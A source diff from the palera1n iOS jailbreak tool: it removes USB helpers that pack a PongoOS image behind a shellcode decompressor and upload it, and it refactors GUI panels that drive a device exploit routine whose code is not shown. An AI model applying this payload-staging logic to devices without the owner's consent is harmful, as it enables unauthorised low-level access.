bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len);
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
#endif // LIBUSB_BACKEND_H
#endif // __APPLE__
-149
View File
@@ -1,149 +0,0 @@
#include "pongo_helper.h"
#include <stdlib.h>
#include <string.h>
#include <lz4.h>
#include <lz4hc.h>
#include "shim.h"
#include "../utils.h"
#include "../globals.h"
#include "../m8/dfu.h"
#include "../gen/payloads/lz4dec.h"
static bool compress_pongo(uint8_t **out, size_t *out_len)
{
const uint8_t *src = g_payload_pongo.data;
int src_size = (int)g_payload_pongo.data_len;
int max_size = LZ4_compressBound(src_size);
uint8_t *buf = malloc(max_size);
if (!buf) return false;
int size = LZ4_compress_HC(
(const char *)src,
(char *)buf,
src_size,
max_size,
LZ4HC_CLEVEL_MAX
);
if (size <= 0) {
free(buf);
return false;
}
*out = buf;
*out_len = (size_t)size;
return true;
}
#define SHELLCODE_SZ (512)
bool prepare_pongo(uint8_t **out, size_t *out_len)
{
size_t pongoSize;
uint8_t *pongo;
if (!compress_pongo(&pongo, &pongoSize))
return false;
uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize);
if (!payload) {
free(pongo);
return false;
}
memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ);
memcpy(payload + SHELLCODE_SZ, pongo, pongoSize);
free(pongo);
pongo = payload;
pongoSize += SHELLCODE_SZ;
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
*pongoSizeInData = (uint32_t)pongoSize - SHELLCODE_SZ;
*out = pongo;
*out_len = pongoSize;
return true;
}
int issue_pongo_command(const usb_handle_t *handle, const char *command) {
uint32_t outpos = 0;
uint32_t outlen = 0;
transfer_ret_t tx_status;
uint8_t in_progress = 1;
char command_buf[512];
char stdout_buf[0x2000];
memset(stdout_buf, 0, sizeof(stdout_buf));
if (command != NULL) {
size_t len = strlen(command);
if (len > 510) {
LOG_ERROR("Pongo command too long: %s", command);
return -1;
}
LOG_VERBOSE("Executing PongoOS command: '%s'", command);
snprintf(command_buf, sizeof(command_buf), "%s\n", command);
len = strlen(command_buf);
if (!send_interface_control_request(handle, 0x21, 4, 1, 0, NULL, 0, &tx_status)) return -1;
if (!send_interface_control_request(handle, 0x21, 3, 0, 0, command_buf, len, &tx_status)) return -1;
// return early if the command is boot, we dont care about results
if (strncmp(command,"boot",4) == 0) return 0;
}
fetch_output:
while (in_progress) {
if (!send_interface_control_request(handle, 0xA1, 2, 0, 0, &in_progress, sizeof(in_progress), &tx_status)) goto bad;
if (in_progress == 0) break;
if (outpos + 0x1000 >= sizeof(stdout_buf)) {
memmove(stdout_buf, stdout_buf + 0x1000, sizeof(stdout_buf) - 0x1000);
outpos -= 0x1000;
}
if (!send_interface_control_request(handle, 0xA1, 1, 0, 0, stdout_buf + outpos, 0x1000, &tx_status)) goto bad;
outlen = 0x1000;
outpos += outlen;
}
bad:
if (tx_status.ret != USB_TRANSFER_OK) {
LOG_ERROR("Pongo USB error: %d", tx_status.ret);
return -1;
}
return 0;
}
bool upload_buffer_to_pongo(usb_handle_t *handle, const void *data, size_t length) {
if (data == NULL || length == 0) {
LOG_ERROR("Invalid data buffer or length");
return false;
}
LOG_VERBOSE("Uploading %zu bytes to PongoOS...", length);
bool ret = false;
transfer_ret_t tx_status = {0};
ret = send_interface_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (void *)&length, 4, &tx_status);
ret = send_interface_bulk_transfer(handle, (void *)data, (uint32_t)length);
return ret;
}
-15
View File
@@ -1,15 +0,0 @@
#ifndef USB_PONGO_H
#define USB_PONGO_H
#include "shim.h"
#define PONGO_MAX_SZ (0x7fe00)
#define MACHO_MAGIC_32 (const unsigned char[]){ 0xCE, 0xFA, 0xED, 0xFE }
#define MACHO_MAGIC_64 (const unsigned char[]){ 0xCF, 0xFA, 0xED, 0xFE }
#define CMD_LENGTH_MAX 512
bool prepare_pongo(uint8_t **out, size_t *out_len);
int issue_pongo_command(const usb_handle_t *handle, const char *command);
bool upload_buffer_to_pongo(usb_handle_t *handle, const void *data, size_t length);
#endif // USB_PONGO_H
-38
View File
@@ -1,38 +0,0 @@
#include "shim.h"
#include <stdlib.h>
#include <string.h>
#ifdef __APPLE__
# include "iokit/usb_iokit.h"
#else
# include "libusb/usb_libusb.h"
#endif
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) {
bool ret = false;
void *p_data;
if(w_len == 0) {
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret);
} else if((p_data = malloc(w_len)) != NULL) {
memset(p_data, '\0', w_len);
ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret);
free(p_data);
}
return ret;
}
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
bool ret = false;
void *p_data;
if(w_len == 0) {
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret);
} else if((p_data = malloc(w_len)) != NULL) {
memset(p_data, '\0', w_len);
ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret);
free(p_data);
}
return ret;
}
-14
View File
@@ -1,14 +0,0 @@
#ifndef BACKEND_SHIM_H
#define BACKEND_SHIM_H
#ifdef __APPLE__
# include "iokit/usb_iokit.h"
#else
# include "libusb/usb_libusb.h"
#endif
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret);
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
char *get_usb_serial_number(usb_handle_t *handle);
#endif // BACKEND_SHIM_H
-86
View File
@@ -1,86 +0,0 @@
#include "utils.h"
#include <stdint.h>
#include <stdio.h>
#include <time.h>
#include <stdarg.h>
#ifdef _WIN32
# include <windows.h>
#endif
#include "globals.h"
#include "paleinfo.h"
static const char* level_color(log_level_t level) {
switch (level) {
case LOG_INFO: return CYAN_COLOR;
case LOG_SUCCESS: return GREEN_COLOR;
case LOG_WARN: return YELLOW_COLOR;
case LOG_ERROR: return RED_COLOR;
case LOG_VERBOSE: return RESET_COLOR;
default: return RESET_COLOR;
}
}
static const char* level_name(log_level_t level) {
switch (level) {
case LOG_INFO: return "INFO";
case LOG_SUCCESS: return "SUCCESS";
case LOG_WARN: return "WARNING";
case LOG_ERROR: return "ERROR";
case LOG_VERBOSE: return "VERBOSE";
default: return "LOG";
}
}
static const char* get_timestamp(void) {
static char buffer[32];
time_t raw_time = time(NULL);
struct tm *time_info = localtime(&raw_time);
if (time_info) {
// YYYY-MM-DD HH:MM:SS
strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", time_info);
} else {
snprintf(buffer, sizeof(buffer), "0000-00-00 00:00:00");
}
return buffer;
}
void log_write(log_level_t level, const char *fmt, ...) {
if (palerain_flags & palerain_option_tui)
return;
va_list args;
va_start(args, fmt);
char tag_buf[32];
snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_name(level));
if (palerain_flags & palerain_option_no_colors) {
printf(" %s%9s%s [%s%s%s] => ",
"", tag_buf, "",
"", get_timestamp(), "");
} else {
printf(" %s%9s%s [%s%s%s] => ",
level_color(level), tag_buf, RESET_COLOR,
GRAY_COLOR, get_timestamp(), RESET_COLOR);
}
vprintf(fmt, args);
printf("\n");
va_end(args);
}
void sleep_ms(unsigned ms) {
#ifdef _WIN32
Sleep(ms);
#else
struct timespec ts;
ts.tv_sec = ms / 1000;
ts.tv_nsec = (ms % 1000) * 1000000L;
nanosleep(&ts, NULL);
#endif
}
-54
View File
@@ -1,54 +0,0 @@
#ifndef CONSTANTS_H
#define CONSTANTS_H
#define PALERAIN_VERSION "3.0.0"
#include <stdint.h>
#include <stdio.h>
#include <stdbool.h>
#include <time.h>
#define RESET_COLOR "\033[0m"
#define RED_COLOR "\033[31m"
#define GREEN_COLOR "\033[32m"
#define YELLOW_COLOR "\033[33m"
#define BLUE_COLOR "\033[34m"
#define MAGENTA_COLOR "\033[35m"
#define CYAN_COLOR "\033[36m"
#define WHITE_COLOR "\033[37m"
#define GRAY_COLOR "\033[90m"
typedef enum {
LOG_INFO,
LOG_SUCCESS,
LOG_WARN,
LOG_ERROR,
LOG_VERBOSE
} log_level_t;
#define LOG(fmt, ...) log_write(LOG_INFO, fmt, ##__VA_ARGS__)
#define LOG_SUCCESS(fmt, ...) log_write(LOG_SUCCESS, fmt, ##__VA_ARGS__)
#define LOG_WARN(fmt, ...) log_write(LOG_WARN, fmt, ##__VA_ARGS__)
#define LOG_ERROR(fmt, ...) log_write(LOG_ERROR, fmt, ##__VA_ARGS__)
#define LOG_VERBOSE(fmt, ...) log_write(LOG_VERBOSE, fmt, ##__VA_ARGS__)
#ifdef __cplusplus
extern "C" {
#endif
void log_write(log_level_t level, const char *fmt, ...);
void sleep_ms(unsigned ms);
#ifdef __cplusplus
}
#endif
static inline const char* time_now() {
static char buf[16];
time_t t = time(NULL);
struct tm *tm_info = localtime(&t);
strftime(buf, sizeof(buf), "%H:%M:%S", tm_info);
return buf;
}
#endif // CONSTANTS_H
+29 -2
View File
@@ -1,10 +1,37 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_GUI
#include "AppFrame.hpp"
#include <wx/wx.h>
#include "../utils.h"
#include "../event.hpp"
#include "../globals.h"
#include "../events/event.hpp"
wxDEFINE_EVENT(EVT_DEVICE_STATE_UPDATE, wxCommandEvent);
+28 -1
View File
@@ -1,10 +1,37 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef APPFRAME_H
#define APPFRAME_H
#ifdef WITH_GUI
#include <wx/wx.h>
#include "../event.hpp"
#include "../events/event.hpp"
#include "MainPanel.hpp"
#include "SettingsPanel.hpp"
+28 -1
View File
@@ -1,8 +1,35 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef DEVICEPANEL_H
#define DEVICEPANEL_H
#include <wx/wx.h>
#include "../event.hpp"
#include "../events/event.hpp"
class MainFrame;
class DevicePanel : public wxPanel
+137 -149
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_GUI
#include "DfuPanel.hpp"
@@ -5,9 +32,8 @@
#include "AppFrame.hpp"
#include "DevicePanel.hpp"
#include "../event.hpp"
#include "../events/event.hpp"
#include "../sequence.hpp"
#include "../utils.h"
#include "../globals.h"
#include "../paleinfo.h"
@@ -19,19 +45,17 @@
#include <wx/bitmap.h>
#include <wx/statline.h>
#include "../gen/images/atv_std_brd.h"
#include "../gen/images/ipad.h"
#include "../gen/images/ipadmini.h"
#include "../gen/images/iphone6s.h"
#include "../gen/images/iphone7.h"
#include "../gen/images/iphone8.h"
#include "../gen/images/iphonese.h"
#include "../gen/images/iphonex.h"
#include "../gen/images/ipodtouch.h"
#include "../gen/images/siriremote.h"
#include "../gen/images/logo.h"
#include <libirecovery.h>
#include "../gen/embedded/atv_std_brd.h"
#include "../gen/embedded/ipad.h"
#include "../gen/embedded/ipadmini.h"
#include "../gen/embedded/iphone6s.h"
#include "../gen/embedded/iphone7.h"
#include "../gen/embedded/iphone8.h"
#include "../gen/embedded/iphonese.h"
#include "../gen/embedded/iphonex.h"
#include "../gen/embedded/ipodtouch.h"
#include "../gen/embedded/siriremote.h"
#include "../gen/embedded/logo.h"
DfuPanel::DfuPanel(MainFrame* frame, wxWindow* parent)
: DevicePanel(frame, parent)
@@ -40,7 +64,7 @@ DfuPanel::DfuPanel(MainFrame* frame, wxWindow* parent)
auto* root = new wxBoxSizer(wxHORIZONTAL);
auto* left = new wxBoxSizer(wxVERTICAL);
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
wxImage img(stream, wxBITMAP_TYPE_PNG);
wxBitmap bmp(img);
auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp);
@@ -131,20 +155,20 @@ void DfuPanel::SetDeviceState(const DeviceState& state)
if (m_isEnteringDfu && state.mode == DeviceMode::DFU)
{
m_isEnteringDfu = false;
m_headerText->SetLabel("Device entered DFU mode successfully.\n");
m_headerText->SetLabel("Device entered DFU mode successfully.");
m_index = m_sequence.steps.size();
m_stepRemaining = -1;
m_actionExecutedIndex = -1;
const wxColour kInactive =
const wxColour inactive =
wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT);
for (auto* lbl : m_stepLabels)
lbl->SetForegroundColour(kInactive);
lbl->SetForegroundColour(inactive);
for (auto* lbl : m_buttonLabels)
lbl->SetForegroundColour(kInactive);
lbl->SetForegroundColour(inactive);
if (!m_stagnentTimer.IsRunning())
m_stagnentTimer.StartOnce(3000);
@@ -194,10 +218,10 @@ void DfuPanel::OnShow(wxShowEvent& event)
void DfuPanel::LoadDevice(const std::string& productType)
{
const wxColour kActive =
const wxColour active =
wxSystemSettings::GetColour(wxSYS_COLOUR_HIGHLIGHTTEXT);
const wxColour kInactive =
const wxColour inactive =
wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT);
m_sequence = ParseSequence(productType);
@@ -221,53 +245,53 @@ void DfuPanel::LoadDevice(const std::string& productType)
if (m_sequence.imageName == "ipadmini")
{
imageData = images_ipadmini_png;
imageSize = images_ipadmini_png_len;
imageData = embedded_ipadmini_png;
imageSize = embedded_ipadmini_png_len;
}
else if (m_sequence.imageName == "ipad")
{
imageData = images_ipad_png;
imageSize = images_ipad_png_len;
imageData = embedded_ipad_png;
imageSize = embedded_ipad_png_len;
}
else if (m_sequence.imageName == "iphonese")
{
imageData = images_iphonese_png;
imageSize = images_iphonese_png_len;
imageData = embedded_iphonese_png;
imageSize = embedded_iphonese_png_len;
}
else if (m_sequence.imageName == "iphone6s")
{
imageData = images_iphone6s_png;
imageSize = images_iphone6s_png_len;
imageData = embedded_iphone6s_png;
imageSize = embedded_iphone6s_png_len;
}
else if (m_sequence.imageName == "iphone7")
{
imageData = images_iphone7_png;
imageSize = images_iphone7_png_len;
imageData = embedded_iphone7_png;
imageSize = embedded_iphone7_png_len;
}
else if (m_sequence.imageName == "iphone8")
{
imageData = images_iphone8_png;
imageSize = images_iphone8_png_len;
imageData = embedded_iphone8_png;
imageSize = embedded_iphone8_png_len;
}
else if (m_sequence.imageName == "iphonex")
{
imageData = images_iphonex_png;
imageSize = images_iphonex_png_len;
imageData = embedded_iphonex_png;
imageSize = embedded_iphonex_png_len;
}
else if (m_sequence.imageName == "ipodtouch")
{
imageData = images_ipodtouch_png;
imageSize = images_ipodtouch_png_len;
imageData = embedded_ipodtouch_png;
imageSize = embedded_ipodtouch_png_len;
}
else if (m_sequence.imageName == "siriremote")
{
imageData = images_siriremote_png;
imageSize = images_siriremote_png_len;
imageData = embedded_siriremote_png;
imageSize = embedded_siriremote_png_len;
}
else if (m_sequence.imageName == "atv_std_brd")
{
imageData = images_atv_std_brd_png;
imageSize = images_atv_std_brd_png_len;
imageData = embedded_atv_std_brd_png;
imageSize = embedded_atv_std_brd_png_len;
}
if (imageData)
@@ -318,7 +342,7 @@ void DfuPanel::LoadDevice(const std::string& productType)
label
);
lbl->SetForegroundColour(i == 0 ? kActive : kInactive);
lbl->SetForegroundColour(i == 0 ? active : inactive);
m_stepsSizer->Add(lbl, 0, wxTOP, 5);
m_stepLabels.push_back(lbl);
@@ -340,7 +364,6 @@ void DfuPanel::StartSequence(const DfuSequence& seq)
m_actionExecutedIndex = -1;
RunStep();
m_timer.StartOnce(1000);
}
void DfuPanel::RunStep()
@@ -348,108 +371,91 @@ void DfuPanel::RunStep()
if (m_sequence.steps.empty())
return;
const wxColour kActive =
const wxColour active =
wxSystemSettings::GetColour(wxSYS_COLOUR_HIGHLIGHTTEXT);
const wxColour kInactive =
const wxColour inactive =
wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT);
if (m_index < m_sequence.steps.size())
{
if (m_stepRemaining < 0)
{
m_stepRemaining = m_sequence.steps[m_index].duration;
}
else if (m_stepRemaining > 0)
{
--m_stepRemaining;
}
if (m_stepRemaining == 0)
{
++m_index;
if (m_index < m_sequence.steps.size())
m_stepRemaining = m_sequence.steps[m_index].duration;
}
}
if (m_index >= m_sequence.steps.size())
{
for (auto* lbl : m_stepLabels)
lbl->SetForegroundColour(kInactive);
Layout();
Refresh();
lbl->SetForegroundColour(inactive);
m_timer.Stop();
Refresh();
return;
}
for (size_t i = 0; i < m_stepLabels.size(); ++i)
{
auto* lbl = m_stepLabels[i];
const auto& step = m_sequence.steps[i];
lbl->SetForegroundColour(i == m_index ? active : inactive);
int remaining = step.duration;
if (i == m_index)
remaining = m_stepRemaining;
else if (i < m_index)
remaining = 0;
lbl->SetLabel(wxString::Format(
"%zu. %s (%d)",
i + 1,
step.description,
remaining
));
}
for (auto* lbl : m_buttonLabels)
lbl->SetForegroundColour(inactive);
for (const auto& buttonId : m_sequence.steps[m_index].activeButtons)
{
for (const auto& btn : m_sequence.buttons)
{
if (btn.id != buttonId)
continue;
for (auto* lbl : m_buttonLabels)
{
if (lbl->GetLabel() == btn.name)
lbl->SetForegroundColour(active);
}
}
}
const auto& step = m_sequence.steps[m_index];
if (m_stepRemaining < 0)
m_stepRemaining = step.duration;
if (m_stepRemaining > 0)
--m_stepRemaining;
bool finished = (m_stepRemaining == 0);
size_t completedIndex = m_index;
if (finished)
if (!step.action.empty() &&
m_actionExecutedIndex != static_cast<int>(m_index))
{
++m_index;
m_stepRemaining = -1;
}
m_actionExecutedIndex = m_index;
for (size_t i = 0; i < m_stepLabels.size(); i++)
{
auto* lbl = m_stepLabels[i];
if (i == m_index)
{
lbl->SetForegroundColour(kActive);
lbl->SetLabel(wxString::Format(
"%zu. %s (%d)",
i + 1,
m_sequence.steps[i].description,
m_stepRemaining < 0 ? m_sequence.steps[i].duration : m_stepRemaining
));
}
else if (finished && i == completedIndex)
{
lbl->SetForegroundColour(kInactive);
lbl->SetLabel(wxString::Format(
"%zu. %s (0)",
i + 1,
m_sequence.steps[i].description
));
}
else
{
lbl->SetForegroundColour(kInactive);
}
}
for (auto* lbl : m_buttonLabels)
lbl->SetForegroundColour(kInactive);
const auto& activeStep =
(m_index < m_sequence.steps.size())
? m_sequence.steps[m_index]
: m_sequence.steps.back();
for (const auto& buttonId : activeStep.activeButtons)
{
for (const auto& btn : m_sequence.buttons)
{
if (btn.id == buttonId)
{
for (auto* lbl : m_buttonLabels)
{
if (lbl->GetLabel() == btn.name)
lbl->SetForegroundColour(kActive);
}
}
}
}
if (m_index < m_sequence.steps.size())
{
const auto& activeStep = m_sequence.steps[m_index];
if (!activeStep.action.empty() && m_actionExecutedIndex != m_index)
{
m_actionExecutedIndex = m_index;
if (activeStep.action == "reboot")
{
Reboot();
}
}
if (step.action == "reboot")
Reboot();
}
Layout();
@@ -468,25 +474,7 @@ void DfuPanel::Reboot()
if (!state.connected || state.mode != DeviceMode::Recovery)
return;
irecv_client_t client = nullptr;
int attempts = 0;
const int max_attempts = 8;
while (attempts < max_attempts)
{
if (irecv_open_with_ecid(&client, state.ecid) == IRECV_E_SUCCESS)
break;
attempts++;
std::this_thread::sleep_for(std::chrono::milliseconds(250));
}
if (!client) return;
irecv_setenv(client, "auto-boot", "true");
irecv_saveenv(client);
irecv_reboot(client);
irecv_close(client);
exit_recovery();
}).detach();
}
+28 -1
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifndef DFUPANEL_H
#define DFUPANEL_H
@@ -5,7 +32,7 @@
#include <wx/wx.h>
#include "DevicePanel.hpp"
#include "../event.hpp"
#include "../events/event.hpp"
#include "../sequence.hpp"
class DfuPanel;
+53 -22
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#ifdef WITH_GUI
#include "ExploitPanel.hpp"
@@ -19,16 +46,15 @@ using std::atomic_bool;
#include <memory>
#include "AppFrame.hpp"
#include "../m8/run.h"
#include "../utils.h"
#include "../gen/images/logo.h"
#include "../exploit.h"
#include "../gen/embedded/logo.h"
ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent)
: DevicePanel(frame, parent)
{
auto* root = new wxBoxSizer(wxHORIZONTAL);
auto* left = new wxBoxSizer(wxVERTICAL);
wxMemoryInputStream stream(images_logo_png, images_logo_png_len);
wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len);
wxImage img(stream, wxBITMAP_TYPE_PNG);
wxBitmap bmp(img);
auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp);
@@ -89,45 +115,50 @@ void ExploitPanel::StartExploit()
return;
}
auto state = std::make_shared<shared_t>();
atomic_init(&state->stage, STAGE_RESET);
atomic_init(&state->stop, false);
atomic_init(&state->result, 0);
auto stage = std::make_shared<std::atomic<int>>(STAGE_RESET);
auto result = std::make_shared<std::atomic<int>>(0);
auto isFinished = std::make_shared<std::atomic<bool>>(false);
std::thread worker([state, isFinished]()
std::thread worker([stage, result]()
{
exploit(state.get());
isFinished->store(true);
int ret = exploit(reinterpret_cast<int*>(stage.get()));
result->store(ret);
stage->store(ret == 0 ? STAGE_DONE : STAGE_ERROR);
});
for (;;)
{
int stage = atomic_load(&state->stage);
int progress = stage_to_progress(stage);
bool finished = isFinished->load();
int currentStage = stage->load();
int progress = stage_to_progress(currentStage);
wxTheApp->CallAfter([this, stage, progress, finished]()
wxTheApp->CallAfter([this, currentStage, progress, stage, result]()
{
m_statusText->SetLabel(stage_to_string(stage));
if (currentStage == STAGE_ERROR) {
const char* error = err_to_string(result->load());
m_statusText->SetLabel(
wxString::Format("%s (%s)", stage_to_string(currentStage), error)
);
m_progressBar->SetValue(0);
m_backButton->Enable();
return;
}
m_statusText->SetLabel(stage_to_string(currentStage));
m_progressBar->SetValue(progress);
if (finished || stage == STAGE_DONE) {
if (currentStage == STAGE_DONE) {
m_backButton->Enable();
}
});
if (stage == STAGE_DONE || finished) {
atomic_store(&state->stop, true);
if (currentStage == STAGE_DONE || currentStage == STAGE_ERROR)
break;
}
std::this_thread::sleep_for(std::chrono::milliseconds(100));
}
if (worker.joinable())
worker.join();
}).detach();
}
+28 -1
View File
@@ -1,3 +1,30 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
